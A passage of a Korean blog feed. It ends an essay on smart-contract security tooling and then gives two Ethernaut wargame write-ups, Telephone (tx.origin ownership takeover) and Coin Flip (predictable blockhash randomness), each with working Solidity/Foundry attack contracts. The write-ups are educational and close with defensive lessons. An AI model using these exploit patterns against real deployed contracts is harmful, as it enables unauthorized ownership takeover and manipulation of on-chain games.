&lt;p data-ke-size=&quot;size16&quot;&gt;가장 큰 어려움은 False Positive와 False Negative의 균형을 맞추는 것일 것이다. 너무 엄격한 규칙은 안전한 코드도 위험하다고 판단해 개발자가 도구를 신뢰하지 않게 만든다. 반대로 너무 관대하면 실제 취약점을 놓쳐 심각한 사고로 이어질 수 있다. 특히 Solidity는 버전마다 특성이 달라서, 0.8.0 이전에는 필수였던 SafeMath가 그 이후는 불필요한 것처럼, 버전별 맥락을 이해해야 정확한 분석이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 복잡한 DeFi 로직의 경제적 취약점은 정적 분석으로 탐지하기 극도로 어렵다. 코드 자체는 완벽해도 여러 프로토콜을 조합했을 때 생기는 예상치 못한 인센티브 구조나, Flash Loan을 통한 원자적 공격 같은 건 사람의 경제학적 이해가 필요하다. 자동화 도구의 한계를 인정하고, &quot;이 도구는 명백한 코드 버그를 잡는 것이고, 비즈니스 로직 검증은 여전히 사람의 몫&quot;이라는 걸 명확히 해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;주제 조사 후 느낀 점&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 주제를 파면 팔수록 블록체인 보안은 단순히 버그를 찾는 게 아니라 경제학, 게임 이론, 암호학이 복합된 영역임을 깨달았다. 특히 인상 깊었던 건 많은 취약점이 기술적 복잡성보다 개발자의 안전하지 않은 가정에서 비롯된다는 점이다. &quot;이 함수는 관리자만 호출할 것이다&quot;, &quot;사용자는 합리적인 값만 입력할 것이다&quot; 같은 암묵적 가정들이 공격자에게 악용된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제로 트러스트 원칙이 스마트 컨트랙트에서 얼마나 중요한지 체감했다. 아무것도 믿지 말고, 모든 입력을 검증하고, 모든 외부 호출을 의심하고, 최악의 시나리오를 가정해야 한다. 전통적인 개발은 &quot;이게 잘못될 리 없어&quot;라는 낙관에서 출발하지만, 블록체인 개발은 &quot;이게 어떻게 악용될 수 있을까&quot;라는 편집증에서 출발해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 자동화 도구의 명확한 한계를 이해하게 되었다. 아무리 정교한 정적 분석도 비즈니스 로직의 경제적 결함은 찾아내지 못한다. 도구는 개발자를 돕는 보조 수단이지 대체재가 될 수 없다. 하지만 반복되는 단순 실수들을 자동으로 잡아줌으로써 개발자가 더 복잡한 문제에 집중할 수 있게 해준다는 점에서 가치가 크다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://scs.owasp.org/sctop10/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://scs.owasp.org/sctop10/&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1760619412198&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;OWASP Smart Contract Top 10 - OWASP Smart Contract Security&quot; data-og-description=&quot;OWASP Smart Contract Top 10 GitHub Repo OWASP Project Page The OWASP Smart Contract Top 10 is a standard awareness document that aims to provide Web3 developers and security teams with insights into the top 10 vulnerabilities found in smart contracts. Awar&quot; data-og-host=&quot;scs.owasp.org&quot; data-og-source-url=&quot;https://scs.owasp.org/sctop10/&quot; data-og-url=&quot;https://scs.owasp.org/sctop10/&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/cASUNh/hyZLEbWnBq/4CB9BW2a7t6MKjJBNKaO20/img.png?width=2588&amp;amp;height=1366&amp;amp;face=0_0_2588_1366,https://scrap.kakaocdn.net/dn/n0pUj/hyZLqShc5r/NhIekrQrXJb1dr3ALeeCaK/img.png?width=3303&amp;amp;height=825&amp;amp;face=0_0_3303_825,https://scrap.kakaocdn.net/dn/mCxiZ/hyZLtIgnLM/wKAmwdvNYzifehlkKjQtuk/img.png?width=1667&amp;amp;height=1088&amp;amp;face=0_0_1667_1088&quot;&gt;&lt;a href=&quot;https://scs.owasp.org/sctop10/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://scs.owasp.org/sctop10/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/cASUNh/hyZLEbWnBq/4CB9BW2a7t6MKjJBNKaO20/img.png?width=2588&amp;amp;height=1366&amp;amp;face=0_0_2588_1366,https://scrap.kakaocdn.net/dn/n0pUj/hyZLqShc5r/NhIekrQrXJb1dr3ALeeCaK/img.png?width=3303&amp;amp;height=825&amp;amp;face=0_0_3303_825,https://scrap.kakaocdn.net/dn/mCxiZ/hyZLtIgnLM/wKAmwdvNYzifehlkKjQtuk/img.png?width=1667&amp;amp;height=1088&amp;amp;face=0_0_1667_1088');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;OWASP Smart Contract Top 10 - OWASP Smart Contract Security&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;OWASP Smart Contract Top 10 GitHub Repo OWASP Project Page The OWASP Smart Contract Top 10 is a standard awareness document that aims to provide Web3 developers and security teams with insights into the top 10 vulnerabilities found in smart contracts. Awar&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;scs.owasp.org&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://consensysdiligence.github.io/smart-contract-best-practices/attacks/reentrancy/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://consensysdiligence.github.io/smart-contract-best-practices/attacks/reentrancy/&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1760619569399&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Reentrancy - Ethereum Smart Contract Best Practices&quot; data-og-description=&quot;Reentrancy Tip Thank you for visiting the Smart Contract Security Best Practices. Please note that this resource is no longer actively maintained. Instead, we recommend visiting the Smart Contract Security Field Guide. The Field Guide is regularly updated &quot; data-og-host=&quot;consensysdiligence.github.io&quot; data-og-source-url=&quot;https://consensysdiligence.github.io/smart-contract-best-practices/attacks/reentrancy/&quot; data-og-url=&quot;https://consensysdiligence.github.io/smart-contract-best-practices/attacks/reentrancy/&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://consensysdiligence.github.io/smart-contract-best-practices/attacks/reentrancy/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://consensysdiligence.github.io/smart-contract-best-practices/attacks/reentrancy/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Reentrancy - Ethereum Smart Contract Best Practices&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Reentrancy Tip Thank you for visiting the Smart Contract Security Best Practices. Please note that this resource is no longer actively maintained. Instead, we recommend visiting the Smart Contract Security Field Guide. The Field Guide is regularly updated&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;consensysdiligence.github.io&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://swcregistry.io/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://swcregistry.io/&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1760619632767&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Smart Contract Weakness Classification (SWC)&quot; data-og-description=&quot;Please note, this content is no longer actively maintained. The content of the SWC registry has not been thoroughly updated since 2020. It is known to be incomplete and may contain errors as well as crucial omissions. For currently maintained guidance on k&quot; data-og-host=&quot;swcregistry.io&quot; data-og-source-url=&quot;https://swcregistry.io/&quot; data-og-url=&quot;https://swcregistry.io/&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://swcregistry.io/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://swcregistry.io/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Smart Contract Weakness Classification (SWC)&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Please note, this content is no longer actively maintained. The content of the SWC registry has not been thoroughly updated since 2020. It is known to be incomplete and may contain errors as well as crucial omissions. For currently maintained guidance on k&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;swcregistry.io&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>TechDocs | Blog</category>
      <author>음대생</author>
      <guid isPermaLink="true">https://c0mpos3r.tistory.com/29</guid>
      <comments>https://c0mpos3r.tistory.com/29#entry29comment</comments>
      <pubDate>Thu, 16 Oct 2025 22:01:19 +0900</pubDate>
    </item>
    <item>
      <title>[Ethernaut] 04. Telephone WriteUp</title>
      <link>https://c0mpos3r.tistory.com/28</link>
      <description>&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 문제 분석&lt;/b&gt;&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;While this example may be simple, confusing&amp;nbsp;tx.origin&amp;nbsp;with&amp;nbsp;msg.sender&amp;nbsp;can lead to phishing-style attacks, such as&amp;nbsp;this.&lt;br /&gt;An example of a possible attack is outlined below.&lt;br /&gt;Use&amp;nbsp;tx.origin&amp;nbsp;to determine whose tokens to transfer, e.g.&lt;br /&gt;function transfer(address _to, uint _value) { tokens[tx.origin] -= _value; tokens[_to] += _value; } &lt;br /&gt;Attacker gets victim to send funds to a malicious contract that calls the transfer function of the token contract, e.g.&lt;br /&gt;function () payable { token.transfer(attackerAddress, 10000); } &lt;br /&gt;In this scenario, tx.origin will be the victim's address (while msg.sender will be the malicious contract's address), resulting in the funds being transferred from the victim to the attacker.&lt;/blockquote&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;1. 이 예제는 간단 할 수 있지만, 혼란스러운 TX.Origin과 MSG.Sender는 이와 같은 피싱 스타일의 공격으로 이어질 수 있습니다. &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;가능한 공격의 예는 아래에 요약되어 있습니다. &lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;tx.origin을 사용하여 누가 전달할 토큰을 결정하십시오 &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;2. &lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;공격자는 토큰 계약의 양도 기능을 호출하는 악성 계약으로 자금을 보내도록 피해자가됩니다.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;3. 이 시나리오에서 TX.origin은 피해자의 주소가 될 것입니다 (MSG.Sender는 악의적 인 계약의 주소가 될 것입니다).&lt;/span&gt;&lt;/p&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;1-1. code&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1756046289888&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    function changeOwner(address _owner) public {
        if (tx.origin != msg.sender) {
            owner = _owner;
        }
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;1-2. Contract 분석&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;상태 변수&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot; data-start=&quot;283&quot; data-end=&quot;323&quot;&gt;
&lt;li data-start=&quot;283&quot; data-end=&quot;323&quot;&gt;&lt;b&gt;address &lt;span style=&quot;color: #333333; text-align: left;&quot;&gt;owner&lt;span&gt; &lt;/span&gt;&lt;/span&gt;public&lt;/b&gt; : 소유자 주소 보관&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;주요 함수&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot; data-start=&quot;338&quot; data-end=&quot;493&quot;&gt;
&lt;li data-start=&quot;338&quot; data-end=&quot;387&quot;&gt;&lt;b&gt;constructor()&lt;/b&gt; &amp;rarr; &lt;b&gt;owner = msg.sender&lt;/b&gt; : 배포자 소유&lt;/li&gt;
&lt;li data-start=&quot;392&quot; data-end=&quot;493&quot;&gt;&lt;b&gt;changeOwner(address _owner) public&lt;/b&gt; &amp;rarr; &lt;b&gt;if (tx.origin != msg.sender) owner = _owner : &lt;/b&gt;직접 호출 차단 의도&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;2. Solving&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;접근제어에 tx.origin&lt;/b&gt;을 사용해 피싱/경유 호출에 취약,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;onlyOwner&lt;/b&gt; 등 &lt;b&gt;명시적 권한 검증이 없어&lt;/b&gt; 임의 주소로 소유권 변경 가능&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1041&quot; data-start=&quot;1019&quot;&gt;Attack Contract 배포&lt;/li&gt;
&lt;li data-end=&quot;1117&quot; data-start=&quot;1044&quot;&gt;공격자 EOA로 pwn(attackerEOA) 호출(이때 &lt;b&gt;tx.origin=EOA, msg.sender=Attack contract&lt;/b&gt;)&lt;/li&gt;
&lt;li data-end=&quot;1157&quot; data-start=&quot;1120&quot;&gt;분기 만족으로 &lt;b&gt;owner = attackerEOA&lt;/b&gt; 설정 완료&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1756045958503&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {Script, console} from &quot;forge-std/Script.sol&quot;;
import {Telephone} from &quot;../src/Telephone.sol&quot;;

contract Attack { 
    address probAddr = 0xd937509354cD3fA005c48bB8a1b0f1ea5C2EB9A3;
    
    function attack(address addr) public {
        Telephone telePhoneContract = Telephone(probAddr);
        telePhoneContract.changeOwner(addr);

        console.log(&quot;msg.sender : %s&quot;, msg.sender);
        console.log(&quot;tx.origin : %s&quot;, tx.origin);
        console.log(&quot;Owner Addr : %s&quot;, telePhoneContract.owner());
    }
    
}

contract CounterScript is Script {

    function run() public {
        vm.startBroadcast();

        Attack a = new Attack();
        a.attack(msg.sender);
    
        vm.stopBroadcast();
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2025-07-03 at 4.50.24 PM.png&quot; data-origin-width=&quot;3024&quot; data-origin-height=&quot;1964&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/R4VL2/btsP3cDFKmq/OPSSOmWQRB51uLYXc8Y1F0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/R4VL2/btsP3cDFKmq/OPSSOmWQRB51uLYXc8Y1F0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/R4VL2/btsP3cDFKmq/OPSSOmWQRB51uLYXc8Y1F0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FR4VL2%2FbtsP3cDFKmq%2FOPSSOmWQRB51uLYXc8Y1F0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3024&quot; height=&quot;1964&quot; data-filename=&quot;Screenshot 2025-07-03 at 4.50.24 PM.png&quot; data-origin-width=&quot;3024&quot; data-origin-height=&quot;1964&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;3. 결론&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;권한 검증에 tx.origin을 사용하면 Malicious Contract 경유 호출로 손쉽게 우회되므로,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;항상 msg.sender 기반의 명시적 접근제어(onlyOwner, 역할 기반 권한)를 사용해야 한다.&lt;/p&gt;</description>
      <category>Web3/Hacking</category>
      <category>ethereum</category>
      <category>ethernaut</category>
      <category>telephone</category>
      <category>tx.origin</category>
      <category>Wargame</category>
      <author>음대생</author>
      <guid isPermaLink="true">https://c0mpos3r.tistory.com/28</guid>
      <comments>https://c0mpos3r.tistory.com/28#entry28comment</comments>
      <pubDate>Sun, 24 Aug 2025 23:49:33 +0900</pubDate>
    </item>
    <item>
      <title>[Ethernaut] 03. Coin Flip WriteUp</title>
      <link>https://c0mpos3r.tistory.com/27</link>
      <description>&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 문제 분석&lt;/b&gt;&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;Generating random numbers in solidity can be tricky. There currently isn't a native way to generate them, and everything you use in smart contracts is publicly visible, including the local variables and state variables marked as private. Miners also have control over things like blockhashes, timestamps, and whether to include certain transactions - which allows them to bias these values in their favor.&lt;br /&gt;To get cryptographically proven random numbers, you can use&amp;nbsp;Chainlink VRF, which uses an oracle, the LINK token, and an on-chain contract to verify that the number is truly random.&lt;br /&gt;Some other options include using Bitcoin block headers (verified through BTC Relay), RANDAO, or Oraclize).&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;견고성에서 임의의 숫자를 생성하는 것은 까다로울 수 있습니다. 현재이를 생성하는 기본 방법은 없으며, 스마트 계약에 사용하는 모든 것이 지역 변수 및 비공개로 표시된 상태 변수를 포함하여 공개적으로 볼 수 있습니다. 광부는 또한 블록 하쉬, 타임 스탬프 및 특정 거래를 포함시킬 것인지를 제어 할 수 있습니다.이를 통해 이러한 가치를 편향시킬 수 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;암호화 적으로 입증 된 임의의 숫자를 얻으려면 Oracle, 링크 토큰 및 온 체인 계약을 사용하는 ChainLink VRF를 사용하여 숫자가 진정으로 무작위임을 확인할 수 있습니다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;다른 옵션으로는 비트 코인 블록 헤더 사용 (BTC 릴레이를 통해 확인), randao 또는 oraclize)가 포함됩니다.&lt;/span&gt;&lt;/p&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;1-1. code&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1756041733567&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor() {
        consecutiveWins = 0;
    }

    function flip(bool _guess) public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        if (side == _guess) {
            consecutiveWins++;
            return true;
        } else {
            consecutiveWins = 0;
            return false;
        }
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;1-2. Coin Flip Contract 분석&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;상태 변수&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;uint256 consecutiveWins public&lt;/b&gt; : 연속 성공 횟수 카운터&lt;/li&gt;
&lt;li&gt;&lt;b&gt;uint256 lastHash internal&lt;/b&gt; : 직전에 사용한 블록해시 저장 (동일 블록 재사용 방지)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;uint256 FACTOR internal&lt;/b&gt; : 블록해시를 2진 동전면으로 스케일링하는 분모&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;주요 함수&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;flip(bool _guess) public returns (bool)&lt;/b&gt; &amp;rarr; &lt;b&gt;blockhash(block.number-1)&lt;/b&gt; 읽기 &amp;rarr; &lt;b&gt;lastHash&lt;/b&gt; 중복 검사/저장(쓰기) &amp;rarr; &lt;b&gt;consecutiveWins&lt;/b&gt; 증감(쓰기) &amp;rarr; 외부 호출 없음&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;2. Solving&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;blockhash(block.number - 1)&lt;/b&gt;로 계산해 의사난수 생성 알고리즘 결과가 완전히 예측 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1282&quot; data-start=&quot;1184&quot;&gt;이전 블록 해시로 &lt;b&gt;coinFlip = uint256(blockhash(block.number-1)) / FACTOR&lt;/b&gt; 계산, &lt;b&gt;guess = (coinFlip == 1)&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;1312&quot; data-start=&quot;1287&quot;&gt;&lt;b&gt;flip(guess)&lt;/b&gt; 호출로 1회 성공&lt;/li&gt;
&lt;li data-end=&quot;1372&quot; data-start=&quot;1317&quot;&gt;&lt;b&gt;lastHash 중복 방지&lt;/b&gt; 때문에 &lt;b&gt;한 Block당 1회 원칙&lt;/b&gt;으로 새 블록 때까지 대기 후 반복&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1756042048647&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {Script, console} from &quot;forge-std/Script.sol&quot;;
import {CoinFlip} from &quot;../src/CoinFlip.sol&quot;;

contract contractA {
    address public probAddr = 0x8512dff4f795BaCa2B364059F177d6E5a3C6cBE6;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    function attack() public {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;
            
        // console.log(&quot;probAddr code length : %d&quot;, probAddr.code.length);
        CoinFlip coinFlipContract = CoinFlip(probAddr); 
        coinFlipContract.flip(side);
        console.log(&quot;consecutiveWins : %d&quot;, coinFlipContract.consecutiveWins());
    }
}

contract CounterScript is Script {

    function run() public {
        vm.startBroadcast();

        contractA a = new contractA();
            
        for (int i = 0; i &amp;lt; 1; i++) {
            try a.attack() {
                console.log(&quot;Attack success, consecutiveWins&quot;);
            } catch {
                console.log(&quot;Revert occurred, skipping...&quot;);
            }
        }

        console.log(&quot;end....&quot;);
        vm.stopBroadcast();
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;3. 결론&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: -apple-system, BlinkMacSystemFont, 'Helvetica Neue', 'Apple SD Gothic Neo', Arial, sans-serif; letter-spacing: 0px;&quot;&gt;온체인 데이터, 블록 속성은 공개되고 채굴자, MEV에 의해 편향될 수 있어 RNG로 부적합하므로, 스마트컨트랙트의 확률&amp;middot;보상 결정은 검증 가능한 난수(예 Chainlink VRF)나 커밋&amp;ndash;리빌 등 신뢰 가능한 메커니즘에 의존해야 한다.&lt;/span&gt;&lt;/p&gt;</description>
      <category>Web3/Hacking</category>
      <category>coin flip</category>
      <category>ethereum</category>
      <category>ethernaut</category>
      <category>RNG</category>
      <category>solidity</category>
      <category>Wargame</category>
      <author>음대생</author>
      <guid isPermaLink="true">https://c0mpos3r.tistory.com/27</guid>
      <comments>https://c0mpos3r.tistory.com/27#entry27comment</comments>
      <pubDate>Sun, 24 Aug 2025 23:11:31 +0900</pubDate>
